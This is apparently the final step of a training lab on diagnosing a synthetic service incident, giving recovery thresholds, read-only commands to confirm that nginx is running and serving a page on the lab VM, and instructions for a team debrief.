Accept the scenario recovery only if both final samples have a running service, p95 latency below 200 ms, error rate below 1%, and CPU below 50%. Then independently check the real VM with the read-only commands below. The live check demonstrates lab availability, not that you mitigated the synthetic incident.
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx curl --max-time 5 -fsS http://172.29.242.30/index.html
Complete: present your timeline, calculations, diagnosis, proposed containment, and evidence that recovery criteria pass. Preserve your notes; deleting your downloaded CSV after the debrief is optional. Reverse roles with the other team explaining and challenging the diagnosis.